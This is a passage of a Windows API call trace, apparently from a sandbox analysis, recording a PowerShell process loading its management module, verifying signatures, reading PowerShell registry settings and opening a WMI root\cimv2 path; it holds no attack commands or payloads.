(in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0c4) returned 1 [0116.869] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee388 | out: lpFileInformation=0x59ee388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0c0) returned 1 [0116.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee058) returned 1 [0116.869] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee31c | out: lpFileInformation=0x59ee31c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee054) returned 1 [0116.869] CoTaskMemAlloc (cb=0x10) returned 0x4f0d4e0 [0116.869] CoTaskMemAlloc (cb=0x10) returned 0x4f0d5e8 [0116.869] CoTaskMemAlloc (cb=0xf0) returned 0x47a9c0 [0116.870] CoTaskMemAlloc (cb=0x30) returned 0x530050 [0116.870] WinVerifyTrust () returned 0x800b0100 [0116.977] CoTaskMemFree (pv=0x4f0d4e0) [0116.977] CoTaskMemFree (pv=0x530050) [0116.977] CryptCATHandleFromStore () returned 0x4fef58 [0116.977] WTHelperGetProvSignerFromChain () returned 0x0 [0116.977] CoTaskMemAlloc (cb=0x10) returned 0x4f0d4e0 [0116.977] CoTaskMemAlloc (cb=0x30) returned 0x530050 [0116.977] WinVerifyTrust () returned 0x0 [0116.977] CoTaskMemFree (pv=0x530050) [0116.977] CoTaskMemFree (pv=0x4f0d4e0) [0116.977] CoTaskMemFree (pv=0x47a9c0) [0116.977] CoTaskMemFree (pv=0x4f0d5e8) [0116.985] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0116.985] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0116.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0116.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0116.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59edb14) returned 1 [0116.998] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59eddd8 | out: lpFileInformation=0x59eddd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59edb10) returned 1 [0116.998] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.998] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.998] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59eda90, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0117.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0117.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0117.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0117.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed91c) returned 1 [0117.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59edbe0 | out: lpFileInformation=0x59edbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed918) returned 1 [0117.005] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.008] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0117.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0117.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0117.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0117.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed91c) returned 1 [0117.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59edbe0 | out: lpFileInformation=0x59edbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed918) returned 1 [0117.018] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.075] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0117.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0117.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0117.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed91c) returned 1 [0117.076] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59edbe0 | out: lpFileInformation=0x59edbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed918) returned 1 [0117.079] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0118.974] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee9b0 | out: phkResult=0x59ee9b0*=0x3f0) returned 0x0 [0118.974] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x0, lpcbData=0x59ee9cc*=0x0 | out: lpType=0x59ee9d0*=0x1, lpData=0x0, lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.974] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x22f2814, lpcbData=0x59ee9cc*=0x56 | out: lpType=0x59ee9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.974] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.975] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee9b0 | out: phkResult=0x59ee9b0*=0x3f0) returned 0x0 [0118.975] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x0, lpcbData=0x59ee9cc*=0x0 | out: lpType=0x59ee9d0*=0x1, lpData=0x0, lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.975] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x22f2b28, lpcbData=0x59ee9cc*=0x56 | out: lpType=0x59ee9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.975] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.976] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee9b0 | out: phkResult=0x59ee9b0*=0x3f0) returned 0x0 [0118.976] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x0, lpcbData=0x59ee9cc*=0x0 | out: lpType=0x59ee9d0*=0x1, lpData=0x0, lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.976] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x22f2e30, lpcbData=0x59ee9cc*=0x56 | out: lpType=0x59ee9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.976] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.977] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee9b0 | out: phkResult=0x59ee9b0*=0x3f0) returned 0x0 [0118.977] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x0, lpcbData=0x59ee9cc*=0x0 | out: lpType=0x59ee9d0*=0x1, lpData=0x0, lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.977] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ee9d0, lpData=0x22f3150, lpcbData=0x59ee9cc*=0x56 | out: lpType=0x59ee9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ee9cc*=0x56) returned 0x0 [0118.977] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.978] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee9fc | out: phkResult=0x59ee9fc*=0x3f0) returned 0x0 [0118.978] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59eea1c, lpData=0x0, lpcbData=0x59eea18*=0x0 | out: lpType=0x59eea1c*=0x1, lpData=0x0, lpcbData=0x59eea18*=0x56) returned 0x0 [0118.978] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59eea1c, lpData=0x22f3498, lpcbData=0x59eea18*=0x56 | out: lpType=0x59eea1c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59eea18*=0x56) returned 0x0 [0118.978] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.979] CoTaskMemAlloc (cb=0x20c) returned 0x4b74a0 [0118.979] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x4b74a0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0118.979] CoTaskMemFree (pv=0x4b74a0) [0118.979] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0118.979] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0119.243] EtwEventActivityIdControl () returned 0x0 [0119.243] SetEvent (hEvent=0x40c) returned 1 [0119.243] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eed58*=0x40c, lpdwindex=0x59eeb7c | out: lpdwindex=0x59eeb7c) returned 0x0 [0119.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59eecec, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0119.245] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0119.246] GetFileType (hFile=0xb) returned 0x2 [0119.247] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x59eee90 | out: lpMode=0x59eee90) returned 1 [0119.248] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eee50 | out: lpConsoleScreenBufferInfo=0x59eee50) returned 1 [0119.248] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eee50 | out: lpConsoleScreenBufferInfo=0x59eee50) returned 1 [0119.432] EtwEventActivityIdControl () returned 0x0 [0119.432] EtwEventActivityIdControl () returned 0x0 [0119.432] EtwEventActivityIdControl () returned 0x0 [0119.501] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0119.502] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f0 [0119.517] SetEvent (hEvent=0x3f0) returned 1 [0119.518] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eef58*=0x410, lpdwindex=0x59eed7c | out: lpdwindex=0x59eed7c) returned 0x0 [0120.165] CoGetContextToken (in: pToken=0x59eee2c | out: pToken=0x59eee2c) returned 0x0 [0120.177] CoGetContextToken (in: pToken=0x59eed8c | out: pToken=0x59eed8c) returned 0x0 [0120.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x59eee5c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59eee58 | out: ppvObject=0x59eee58*=0x4da430) returned 0x0 [0120.179] WbemDefPath:IUnknown:AddRef (This=0x4da430) returned 0x3 [0120.179] WbemDefPath:IUnknown:Release (This=0x4da430) returned 0x2 [0120.184] WbemDefPath:IWbemPath:SetText (This=0x4da430, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefd4 | out: puCount=0x59eefd4*=0x2) returned 0x0 [0120.189] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eefd0*=0x0, pszText=0x0 | out: puBuffLength=0x59eefd0*=0xf, pszText=0x0) returned 0x0 [0120.189] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eefd0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eefd0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.362] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eeee0*=0x464, lpdwindex=0x59eed98 | out: lpdwindex=0x59eed98) returned 0x0 [0125.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefc0 | out: puCount=0x59eefc0*=0x2) returned 0x0 [0125.292] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eefbc*=0x0, pszText=0x0 | out: puBuffLength=0x59eefbc*=0xf, pszText=0x0) returned 0x0 [0125.292] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eefbc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.293] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0125.293] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0125.293] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0125.293] CoGetContextToken (in: pToken=0x59eeb84 | out: pToken=0x59eeb84) returned 0x0 [0125.293] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eeb5c | out: ppvObject=0x59eeb5c*=0x49fac8) returned 0x0 [0125.294] CObjectContext::ContextCallback () returned 0x0 [0125.326] IUnknown:Release (This=0x49fac8) returned 0x1 [0125.327] CoUnmarshalInterface (in: pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 